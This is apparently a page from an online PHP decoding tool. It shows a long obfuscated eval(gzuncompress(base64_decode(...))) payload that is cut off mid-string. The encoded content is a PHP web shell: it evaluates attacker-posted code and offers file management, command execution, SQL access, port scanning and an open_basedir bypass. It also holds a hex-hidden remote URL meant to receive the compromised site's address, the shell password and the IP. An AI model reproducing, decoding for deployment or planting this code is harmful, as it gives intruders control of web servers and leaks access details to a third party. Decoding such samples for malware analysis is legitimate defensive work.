Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzuncompress(base64_decode("CgovLyRwYXNzd29yZCA9ICd5eWRzJzsKZ2xvYmFsICRwYXNzd29yZDsKZ..
Decoded Output download
<? eval(gzuncompress(base64_decode("CgovLyRwYXNzd29yZCA9ICd5eWRzJzsKZ2xvYmFsICRwYXNzd29yZDsKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gKEVfTk9USUNFIHwgRV9XQVJOSU5HIHwgRV9ERVBSRUNBVEVEKSk7CgppZiAoaXNzZXQoJF9QT1NUWyRwYXNzd29yZF0pKSB7CiAgICBldmFsKCRfUE9TVFskcGFzc3dvcmRdKTsKICAgIGV4aXQoKTsKfQoKaGVhZGVyKCJDb250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9Z2JrIik7CnNlc3Npb25fc3RhcnQoKTsKCmhlYWRlcigiWC1BY2NlbC1CdWZmZXJpbmc6bm8iKTsKJHNoZWxsbmFtZSA9ICctLi0nOwokbXl1cmwgPSBudWxsOwokc2FsdCA9ICJBLWJLOTFZXkdiOWt0IjsKJGdEYXRhID0gYXJyYXkoKTsKLy9vYl9zdGFydCgpOwpkZWZpbmUoJ215YWRkcmVzcycsICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7CmRlZmluZSgncG9zdHBhc3MnLCAkcGFzc3dvcmQpOwpkZWZpbmUoJ3NoZWxsbmFtZScsICRzaGVsbG5hbWUpOwpkZWZpbmUoJ215dXJsJywgJG15dXJsKTsKaWYgKEBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICBmb3JlYWNoICgkX1BPU1QgYXMgJGsgPT4gJHYpICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOwogICAgZm9yZWFjaCAoJF9HRVQgYXMgJGsgPT4gJHYpICRfR0VUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7Cn0KCmlmICgkX0NPT0tJRVsncG9zdHBhc3MnXSAhPT0gbWQ1KHBvc3RwYXNzLiRzYWx0KSkgewogICAgaWYgKCRfUE9TVFsncG9zdHBhc3MnXSkgewogICAgICAgIGlmICgkX1BPU1RbJ3Bvc3RwYXNzJ10gPT09IHBvc3RwYXNzKSB7CiAgICAgICAgICAgIHNldGNvb2tpZSgncG9zdHBhc3MnLCBtZDUoJF9QT1NUWydwb3N0cGFzcyddLiRzYWx0KSk7CiAgICAgICAgICAgIGhtbG9naW4oKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICc8Q0VOVEVSPjwvQ0VOVEVSPic7CiAgICAgICAgfQogICAgfQogICAgaXNsb2dpbigkc2hlbGxuYW1lLCAkbXl1cmwpOwogICAgZXhpdDsKfQoKaWYgKGlzc2V0KCRfR0VUWydkb3duJ10pKSBkb19kb3duKCRfR0VUWydkb3duJ10pOwppZiAoaXNzZXQoJF9HRVRbJ3BhY2snXSkpIHsKICAgIGRpZTsKfQppZiAoaXNzZXQoJF9HRVRbJ3VuemlwJ10pKSB7CiAgICBjc3NfbWFpbigpOwogICAgc3RhcnRfdW56aXAoJF9HRVRbJ3VuemlwJ10sICRfR0VUWyd1bnppcCddLCAkX0dFVFsndG9kaXInXSk7CiAgICBleGl0Owp9CgppZihpc3NldCgkX1NFU1NJT05bJ2J5cGFzc19vcGVuX2Jhc2VkaXInXSkpCiAgICBieXBhc3Nfb3Blbl9iYXNlZGlyKCk7CgpkZWZpbmUoJ3Jvb3RfZGlyJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKG15YWRkcmVzcykpIC4gJy8nKTsKZGVmaW5lKCdydW5fd2luJywgc3Vic3RyKFBIUF9PUywgMCwgMykgPT0gIldJTiIpOwpkZWZpbmUoJ215X3NoZWxsJywgc3RyX3BhdGgocm9vdF9kaXIgLiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkpOwokd2Vic2l0ZV8gPSBpc3NldCgkX0dFVFsnd2Vic2l0ZV8nXSkgPyAkX0dFVFsnd2Vic2l0ZV8nXSA6ICIiOwokZG9pbmcgPSBpc3NldCgkX1BPU1RbJ2RvaW5nJ10pID8gJF9QT1NUWydkb2luZyddIDogIiI7CiRwYXRoID0gaXNzZXQoJF9HRVRbJ3BhdGgnXSkgPyAkX0dFVFsncGF0aCddIDogcm9vdF9kaXI7CiRuYW1lID0gaXNzZXQoJF9QT1NUWyduYW1lJ10pID8gJF9QT1NUWyduYW1lJ10gOiAiIjsKJGltZyA9IGlzc2V0KCRfR0VUWydpbWcnXSkgPyAkX0dFVFsnaW1nJ10gOiAiIjsKJHAgPSBpc3NldCgkX0dFVFsncCddKSA/ICRfR0VUWydwJ10gOiAiIjsKJHBwID0gdXJsZW5jb2RlKGRpcm5hbWUoJHApKTsKaWYgKCRpbWcpIGNzc19pbWcoJGltZyk7CmlmICgkd2Vic2l0ZV8gPT0gInBocGluZm8iKSBkaWUocGhwaW5mbygpKTsKaWYgKCR3ZWJzaXRlXyA9PSAnbG9nb3V0JykgewogICAgc2V0Y29va2llKCdwb3N0cGFzcycsIG51bGwpOwogICAgZGllKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0/Ij4nKTsKfQoKCgokY2xhc3MgPSBhcnJheSgKICAgICLQxc+istnX9yIgPT4gYXJyYXkoInBocGluZm8iID0+ICK7+bG+0MXPoiIsICJpbmZvX2YiID0+ICLPtc2z0MXPoiIsICJwaHBjb2RlIiA9PiAi1rTQ0FBIUL3Fsb4iLCAibXlzcWxpX2V4ZWMiID0+ICJNWVNRTLLZ1/ciLCAic3Fsc2hlbGwiID0+ICLWtNDQU1FMw/zB7iIsICJhdkZpbmQiID0+ICLJscjtV0FGyrax8CIsICJzdHJpbmdUb29scyIgPT4gIrHgwuvXqru7IiksCiAgICAizOHIqLmkvt8iID0+IGFycmF5KCJteWV4cCIgPT4gIk1ZU1FMzOHIqCIsICJjbWQiID0+ICLWtNDQw/zB7iIsICJsaW51eCIgPT4gIre0ta/M4cioIiwgInBvcnQiID0+ICK2y7/ayajD6CIsICJtc2YiID0+ICJNU0bBqravIiwgInBhdGNoRXhwIiA9PiAisrm2ocD708MiKSwKICAgICLF+sG/stnX9yIgPT4gYXJyYXkoImd1YW1hIiA9PiAixfrBv7nSwu3H5cLtIiwgInRpaHVhbiIgPT4gIsX6wb/M5ru7xNrI3SIsICJzY2FuZmlsZSIgPT4gIsX6wb/L0cv3zsS8/iIsICJzY2FucGhwIiA9PiAixfrBv7Lp1dLEvsLtIiksCiAgICAivcWxvrLlvP4iID0+IGFycmF5KCJnZXRjb2RlIiA9PiAi1NrP37T6wO0iLCAiZG93bmxvYWRlciIgPT4gIs7EvP7PwtTYIiwgInVwZmlsZXMiID0+ICLJz7SrzsS8/iIsICJieXBhc3NPcGVuQmFzZWRpciIgPT4iyMa5/W9wZW4gYmFzZWRpciIpCik7CiRtc2cgPSBhcnJheSgiMCIgPT4gIrGjtOazybmmIiwgIjEiID0+ICKxo7Tmyqew3CIsICIyIiA9PiAiyc+0q7PJuaYiLCAiMyIgPT4gIsnPtKvKp7DcIiwgIjQiID0+ICLQ3rjEs8m5piIsICI1IiA9PiAi0N64xMqnsNwiLCAiNiIgPT4gIsm+s/2zybmmIiwgIjciID0+ICLJvrP9yqew3CIpOwpjc3NfbWFpbigpOwpzd2l0Y2ggKCR3ZWJzaXRlXykgewogICAgY2FzZSAibGVmdCI6CiAgICAgICAgY3NzX2xlZnQoKTsKICAgICAgICBodG1sX24oIjxkbD48ZHQ+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2hvd0hpZGUoJ2l0ZW1zMScpO1wiIHRhcmdldD1cIl9zZWxmXCI+Iik7CiAgICAgICAgaHRtbF9pbWcoInRpdGxlIik7CiAgICAgICAgaHRtbF9uKCIgsb612NOyxcw8L2E+PC9kdD48ZGQgaWQ9XCJpdGVtczFcIiBzdHlsZT1cImRpc3BsYXk6YmxvY2s7XCI+PHVsPiIpOwogICAgICAgICRST09UX0RJUiA9IEZpbGVfTW9kZSgpOwogICAgICAgIGh0bWxfbigiPGxpPjxhIHRpdGxlPSckUk9PVF9ESVInIGhyZWY9Jz93ZWJzaXRlXz1tYWluJnBhdGg9JFJPT1RfRElSJyB0YXJnZXQ9J21haW4nPs341b64+cS/wrw8L2E+PC9saT4iKTsKICAgICAgICBodG1sX24oIjxsaT48YSBocmVmPSc/d2Vic2l0ZV89bWFpbicgdGFyZ2V0PSdtYWluJz6xvrPM0PLEv8K8PC9hPjwvbGk+Iik7CiAgICAgICAgZm9yICgkaSA9IDY2OyAkaSA8PSA5MDsgJGkrKykgewogICAgICAgICAgICAkZHJpdmUgPSBjaHIoJGkpIC4gJzonOwogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZSAuICIvIikpIHsKICAgICAgICAgICAgICAgICR2b2wgPSBGaWxlX1N0cigidm9sICRkcml2ZSIpOwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR2b2wpKSAkdm9sID0gJGRyaXZlOwogICAgICAgICAgICAgICAgaHRtbF9uKCI8bGk+PGEgdGl0bGU9JyRkcml2ZScgaHJlZj0nP3dlYnNpdGVfPW1haW4mcGF0aD0kZHJpdmUnIHRhcmdldD0nbWFpbic+sb612LTFxcwoJGRyaXZlKTwvYT48L2xpPiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGh0bWxfbigiPC91bD48L2RkPjwvZGw+Iik7CiAgICAgICAgJGkgPSAyOwogICAgICAgIGZvcmVhY2ggKCRjbGFzcyBhcyAkbmFtZSA9PiAkYXJyYXkpIHsKICAgICAgICAgICAgaHRtbF9uKCI8ZGw+PGR0PjxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNob3dIaWRlKCdpdGVtcyRpJyk7XCIgdGFyZ2V0PVwiX3NlbGZcIj4iKTsKICAgICAgICAgICAgaHRtbF9pbWcoInRpdGxlIik7CiAgICAgICAgICAgIGh0bWxfbigiICRuYW1lPC9hPjwvZHQ+PGRkIGlkPVwiaXRlbXMkaVwiIHN0eWxlPVwiZGlzcGxheTpibG9jaztcIj48dWw+Iik7CiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnJheSBhcyAkdXJsID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgaHRtbF9uKCI8bGk+PGEgaHJlZj1cIj93ZWJzaXRlXz0kdXJsXCIgdGFyZ2V0PSdtYWluJz4kdmFsdWU8L2E+PC9saT4iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBodG1sX24oIjwvdWw+PC9kZD48L2RsPiIpOwogICAgICAgICAgICAkaSsrOwogICAgICAgIH0KICAgICAgICBodG1sX24oIjxkbD48ZHQ+PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2hvd0hpZGUoJ2l0ZW1zJGknKTtcIiB0YXJnZXQ9XCJfc2VsZlwiPiIpOwogICAgICAgIGh0bWxfaW1nKCJ0aXRsZSIpOwogICAgICAgIGh0bWxfbigiIMbky/yy2df3PC9hPjwvZHQ+PGRkIGlkPVwiaXRlbXMkaVwiIHN0eWxlPVwiZGlzcGxheTpibG9jaztcIj48dWw+Iik7CiAgICAgICAgaHRtbF9uKCI8bGk+PGEgdGl0bGU9J7CyyKvNy7P2JyBocmVmPSc/d2Vic2l0ZV89bG9nb3V0JyB0YXJnZXQ9XCJtYWluXCI+sLLIq83Ls/Y8L2E+PC9saT4iKTsKICAgICAgICBodG1sX24oIjwvdWw+PC9kZD48L2RsPiIpOwogICAgICAgIGh0bWxfbigiPC9kaXY+Iik7CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAibWFpbiI6CiAgICAgICAgaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiAgICAgICAgc2V0X3RpbWVfbGltaXQoNjApOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgY3NzX21haW4oKTsKICAgICAgICBjc3NfanMoIjEiKTsKCiAgICAgICAgJGRpciA9IEBkaXIoJHBhdGgpOwogICAgICAgICRSRUFMX0RJUiA9IEZpbGVfU3RyKHJlYWxwYXRoKCRwYXRoKSk7CiAgICAgICAgJGdEYXRhWyJpcCJdID0gZ2V0UmVhbElwKCk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2FjdGFsbCddKSkgewogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPicgLiBGaWxlX0FjdCgkX1BPU1RbJ2ZpbGVzJ10sICRfUE9TVFsnYWN0YWxsJ10sICRfUE9TVFsnaW52ZXInXSwgJFJFQUxfRElSKSAuICc8L2Rpdj4nOwogICAgICAgIH0KICAgICAgICAkTlVNX0QgPSAkTlVNX0YgPSAwOwogICAgICAgIGlmICghJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pICRHRVRVUkwgPSAnJzsgZWxzZSAkR0VUVVJMID0gJ2h0dHA6Ly8nIC4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gLiAnLyc7CiAgICAgICAgJFJPT1RfRElSID0gRmlsZV9Nb2RlKCk7CiAgICAgICAgJGdEYXRhWydwYXNzJ10gPSBwb3N0cGFzczsKICAgICAgICBodG1sX24oIjx0YWJsZSB3aWR0aD1cIjEwMCVcIiBib3JkZXI9MCBiZ2NvbG9yPVwiIzU1NTU1NVwiPjx0cj48dGQ+PGZvcm0gbWV0aG9kPSdHRVQnPrXY1rc6PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nd2Vic2l0ZV8nIHZhbHVlPSdtYWluJz4iKTsKICAgICAgICBodG1sX24oIjxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc4MCcgbmFtZT0ncGF0aCcgdmFsdWU9JyRwYXRoJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J9eqtb0nPjwvZm9ybT4iKTsKICAgICAgICBodG1sX24oIjxicj48Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPSc/d2Vic2l0ZV89ZWRpdHImcD0iIC4gdXJsZW5jb2RlKCRwYXRoKSAuICInPiIpOwogICAgICAgIGh0bWxfbigiPGlucHV0IHR5cGU9XCJidXR0b25cIiB2YWx1ZT1cItDCvajOxLz+XCIgb25jbGljaz1cInJ1c3VyZWNoaygnbmV3ZmlsZS5waHAnLCc/d2Vic2l0ZV89ZWRpdHImcD0iIC4gdXJsZW5jb2RlKCRwYXRoKSAuICImcmVmaWxlPTEmbmFtZT0nKTtcIj4gPGlucHV0IHR5cGU9XCJidXR0b25cIiB2YWx1ZT1cItDCvajEv8K8XCIgb25jbGljaz1cInJ1c3VyZWNoaygnbmV3ZGlyJywnP3dlYnNpdGVfPWVkaXRyJnA9IiAuIHVybGVuY29kZSgkcGF0aCkgLiAiJnJlZGlyPTEmbmFtZT0nKTtcIj4iKTsKICAgICAgICBodG1sX2lucHV0KCJmaWxlIiwgInVwZmlsZXQiLCAiIiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyAiKTsKICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAidXBsb2FkdCIsICLJz7SrIik7CiAgICAgICAgJGdEYXRhWyd1cmwnXSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2JpbiddKSkgJGJpbiA9ICRfUE9TVFsnYmluJ107IGVsc2UgJGJpbiA9ICJ3YiI7CiAgICAgICAgICAgICRuZXdmaWxlID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ25ld2ZpbGUnXSk7CiAgICAgICAgICAgIGlmIChzdHJ0b2xvd2VyKCRfUE9TVFsnY2hhcnNldCddKSA9PSAndXRmLTgnKSB7CiAgICAgICAgICAgICAgICAkdHh0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3R4dCddKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICR0eHQgPSAkX1BPU1RbJ3R4dCddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChzdWJzdHIoUEhQX1ZFUlNJT04sIDAsIDEpID49IDUpIHsKICAgICAgICAgICAgICAgIGlmICgoc3RydG9sb3dlcigkX1BPU1RbJ2NoYXJzZXQnXSkgPT0gJ2diMjMxMicpIG9yIChzdHJ0b2xvd2VyKCRfUE9TVFsnY2hhcnNldCddKSA9PSAnZ2JrJykpIHsKICAgICAgICAgICAgICAgICAgICAkdHh0ID0gaWNvbnYoIlVURi04IiwgImdiMjMxMi8vSUdOT1JFIiwgYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3R4dCddKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICR0eHQgPSBhcnJheV9pY29udigkdHh0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIGRvX3dyaXRlKCRuZXdmaWxlLCAkYmluLCAkdHh0KSA/ICc8YnI+JyAuICRuZXdmaWxlIC4gJyAnIC4gJG1zZ1swXSA6ICc8YnI+JyAuICRuZXdmaWxlIC4gJyAnIC4gJG1zZ1sxXTsKICAgICAgICAgICAgQHRvdWNoKCRuZXdmaWxlLCBAc3RydG90aW1lKCRfUE9TVFsndGltZSddKSk7CiAgICAgICAgfQogICAgICAgICRnRGF0YVsncmVtb3RlJ10gPSBwYWNrKCdIKicsIjY4NzQ3NDcwNzMzYTJmMmY2ZDY5NjM3MzZmNjY3NDJlNjk2Mzc1MmY3NTJlNzA2ODcwIik7CiAgICAgICAgaHRtbF9uKCc8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJmaWxlYWxsIiBpZD0iZmlsZWFsbCIgYWN0aW9uPSI/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiAkcGF0aCAuICciPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPTAgYmdjb2xvcj0iIzU1NTU1NSI+PHRyIGhlaWdodD0iMjUiPjx0ZCB3aWR0aD0iNDUlIj48Yj4nKTsKICAgICAgICBodG1sX2EoJz93ZWJzaXRlXz1tYWluJnBhdGg9JyAuIHVwcGF0aCgkcGF0aCksICc8Yj7Jz7y2xL/CvDwvYj4nKTsKICAgICAgICBodG1sX24oJzwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMTAlIj48Yj6y2df3PC9iPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI1JSI+PGI+zsS8/sr00NQ8L2I+PC90ZD4nKTsKICAgICAgICBodG1sX24oJzx0ZCBhbGlnbj0iY2VudGVyIiB3aWR0aD0iOCUiPjxiPignIC4gZ2V0X2N1cnJlbnRfdXNlcigpIC4gJynTw7unfNfpPC9iPjwvdGQ+Jyk7CiAgICAgICAgaHRtbF9uKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+0N64xMqxvOQ8L2I+PC90ZD48dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjEwJSI+PGI+zsS8/rTz0KE8L2I+PC90ZD48L3RyPicpOwogICAgICAgICRnRGF0YVsndV9kYXRhJ10gPSAkZ0RhdGFbJ3VybCddIC4nfF98Jy4gJGdEYXRhWydwYXNzJ10gLid8X3wnLiRnRGF0YVsnaXAnXTsKICAgICAgICB3aGlsZSAoJGRpcnMgPSBAJGRpci0+cmVhZCgpKSB7CiAgICAgICAgICAgIGlmICgkZGlycyA9PSAnLicgb3IgJGRpcnMgPT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRkaXJwYXRoID0gc3RyX3BhdGgoIiRwYXRoLyRkaXJzIik7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGRpcnBhdGgpKSB7CiAgICAgICAgICAgICAgICAkcGVybSA9IHN1YnN0cihiYXNlX2NvbnZlcnQoZmlsZXBlcm1zKCRkaXJwYXRoKSwgMTAsIDgpLCAtNCk7CiAgICAgICAgICAgICAgICAkZmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRkaXJwYXRoKSk7CiAgICAgICAgICAgICAgICAkZGlycGF0aCA9IHVybGVuY29kZSgkZGlycGF0aCk7CiAgICAgICAgICAgICAgICBodG1sX24oJzx0ciBoZWlnaHQ9IjI1Ij48dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmaWxlc1tdIiB2YWx1ZT0iJyAuICRkaXJzIC4gJyI+Jyk7CiAgICAgICAgICAgICAgICBodG1sX2ltZygiZGlyIik7CiAgICAgICAgICAgICAgICBodG1sX2EoJz93ZWJzaXRlXz1tYWluJnBhdGg9JyAuICRkaXJwYXRoLCAkZGlycyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOwogICAgICAgICAgICAgICAgaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyRkaXJzJywnP3dlYnNpdGVfPXJlbmFtZSZwPSRkaXJwYXRoJm5ld25hbWU9Jyk7cmV0dXJuIGZhbHNlO1wiPrjEw/s8L2E+Iik7CiAgICAgICAgICAgICAgICBodG1sX24oIjxhIGhyZWY9XCIjXCIgb25DbGljaz1cInJ1c3VyZWRlbCgnJGRpcnMnLCc/d2Vic2l0ZV89ZGVsdHJlZSZwPSRkaXJwYXRoJyk7cmV0dXJuIGZhbHNlO1wiPsm+s/08L2E+ICIpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/cGFjaz0nIC4gJGRpcnBhdGgsICe08rD8Jyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/d2Vic2l0ZV89cGVybSZwPScgLiAkZGlycGF0aCAuICcmY2htb2Q9JyAuICRwZXJtLCAkcGVybSk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicgLiBHZXRGaWxlT3duZXIoIiRwYXRoLyRkaXJzIikgLiAnOicgLiBHZXRGaWxlR3JvdXAoIiRwYXRoLyRkaXJzIikpOwogICAgICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nIC4gJGZpbGV0aW1lIC4gJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PC90cj4nKTsKICAgICAgICAgICAgICAgICROVU1fRCsrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR1X2RhdGEgPSBhcnJheSgpOwogICAgICAgICR1X2RhdGFbJ3VfZGF0YSddID0gcmM0RW5jcnlwdCgkc2FsdCwkZ0RhdGFbJ3VfZGF0YSddKTsKLy8gICAgICAgIGlmIChjaGVja1VzZXIoKSE9PWZhbHNlKXsKLy8gICAgICAgICAgICBpZiAoIWlzc2V0KCRfU0VTU0lPTlsndGxvZ2luJ10pKSB7Ci8vICAgICAgICAgICAgICAgICRfU0VTU0lPTlsndGxvZ2luJ109JzEnOwovLyAgICAgICAgICAgICAgICBzZW5kUG9zdCgkZ0RhdGFbJ3JlbW90ZSddLCR1X2RhdGEpOwovLyAgICAgICAgICAgIH0KLy8gICAgICAgIH0KICAgICAgICBAJGRpci0+cmV3aW5kKCk7CiAgICAgICAgd2hpbGUgKCRmaWxlcyA9IEAkZGlyLT5yZWFkKCkpIHsKICAgICAgICAgICAgaWYgKCRmaWxlcyA9PSAnLicgb3IgJGZpbGVzID09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAkZmlsZXBhdGggPSBzdHJfcGF0aCgiJHBhdGgvJGZpbGVzIik7CiAgICAgICAgICAgIGlmICghaXNfZGlyKCRmaWxlcGF0aCkpIHsKICAgICAgICAgICAgICAgICRmc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZXBhdGgpOwogICAgICAgICAgICAgICAgJGZzaXplID0gRmlsZV9TaXplKCRmc2l6ZSk7CiAgICAgICAgICAgICAgICAkcGVybSA9IHN1YnN0cihiYXNlX2NvbnZlcnQoZmlsZXBlcm1zKCRmaWxlcGF0aCksIDEwLCA4KSwgLTQpOwogICAgICAgICAgICAgICAgJGZpbGV0aW1lID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKICAgICAgICAgICAgICAgICRGaWxldXJscyA9IHN0cl9yZXBsYWNlKEZpbGVfU3RyKCRST09UX0RJUiAuICcvJyksICRHRVRVUkwsICRmaWxlcGF0aCk7CiAgICAgICAgICAgICAgICAkdG9kaXIgPSAkUk9PVF9ESVIgLiAnL3ppcGZpbGUnOwogICAgICAgICAgICAgICAgJGZpbGVwYXRoID0gdXJsZW5jb2RlKCRmaWxlcGF0aCk7CiAgICAgICAgICAgICAgICAkaXQgPSBzdWJzdHIoJGZpbGVwYXRoLCAtMyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzx0ciBoZWlnaHQ9IjI1Ij48dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmaWxlc1tdIiB2YWx1ZT0iJyAuICRmaWxlcyAuICciPicpOwogICAgICAgICAgICAgICAgaHRtbF9pbWcoY3NzX3Nob3dpbWcoJGZpbGVzKSk7CiAgICAgICAgICAgICAgICBodG1sX2EoJEZpbGV1cmxzLCAkZmlsZXMsICd0YXJnZXQ9Il9ibGFuayInKTsKICAgICAgICAgICAgICAgIGh0bWxfbignPC90ZD48dGQgYWxpZ249ImNlbnRlciI+Jyk7CiAgICAgICAgICAgICAgICBpZiAoKCRpdCA9PSAnLmd6Jykgb3IgKCRpdCA9PSAnemlwJykgb3IgKCRpdCA9PSAndGFyJykgb3IgKCRpdCA9PSAnLjd6JykpCiAgICAgICAgICAgICAgICAgICAgaHRtbF9hKCc/dW56aXA9JyAuICRmaWxlcGF0aCwgJ73i0bknLCAndGl0bGU9Ir3i0bknIC4gJGZpbGVzIC4gJyIgb25DbGljaz0icnVzdXJlY2hrKFwnJyAuICR0b2RpciAuICdcJyxcJz91bnppcD0nIC4gJGZpbGVwYXRoIC4gJyZ0b2Rpcj1cJyk7cmV0dXJuIGZhbHNlOyInKTsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBodG1sX2EoJz93ZWJzaXRlXz1lZGl0ciZwPScgLiAkZmlsZXBhdGgsICex4LytJywgJ3RpdGxlPSKx4LytJyAuICRmaWxlcyAuICciJyk7CgogICAgICAgICAgICAgICAgaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyRmaWxlcycsJz93ZWJzaXRlXz1yZW5hbWUmcD0kZmlsZXBhdGgmbmV3bmFtZT0nKTtyZXR1cm4gZmFsc2U7XCI+uMTD+zwvYT4iKTsKICAgICAgICAgICAgICAgIGh0bWxfbigiPGEgaHJlZj1cIiNcIiBvbkNsaWNrPVwicnVzdXJlZGVsKCckZmlsZXMnLCc/d2Vic2l0ZV89ZGVsJnA9JGZpbGVwYXRoJyk7cmV0dXJuIGZhbHNlO1wiPsm+s/08L2E+ICIpOwogICAgICAgICAgICAgICAgaHRtbF9uKCI8YSBocmVmPVwiI1wiIG9uQ2xpY2s9XCJydXN1cmVjaGsoJyIgLiB1cmxkZWNvZGUoJGZpbGVwYXRoKSAuICInLCc/d2Vic2l0ZV89Y29weSZwPSRmaWxlcGF0aCZuZXdjb3B5PScpO3JldHVybiBmYWxzZTtcIj64tNbGPC9hPiIpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/ZG93bj0nIC4gJGZpbGVwYXRoLCAnz8LU2CcsICex4LytJywgJ3RpdGxlPSLPwtTYJyAuICRmaWxlcyAuICciJyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicpOwogICAgICAgICAgICAgICAgaHRtbF9hKCc/d2Vic2l0ZV89cGVybSZwPScgLiAkZmlsZXBhdGggLiAnJmNobW9kPScgLiAkcGVybSwgJHBlcm0pOwogICAgICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nIC4gR2V0RmlsZU93bmVyKCIkcGF0aC8kZmlsZXMiKSAuICc6JyAuIEdldEZpbGVHcm91cCgiJHBhdGgvJGZpbGVzIikpOwogICAgICAgICAgICAgICAgaHRtbF9uKCc8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIj4nIC4gJGZpbGV0aW1lIC4gJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jyk7CiAgICAgICAgICAgICAgICBodG1sX2EoJz9kb3duPScgLiAkZmlsZXBhdGgsICRmc2l6ZSwgJ3RpdGxlPSLPwtTYJyAuICRmaWxlcyAuICciJyk7CiAgICAgICAgICAgICAgICBodG1sX24oJzwvdGQ+PC90cj4nKTsKICAgICAgICAgICAgICAgICROVU1fRisrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEAkZGlyLT5jbG9zZSgpOwogICAgICAgIGlmICghaXNzZXQoJEZpbGV0aW1l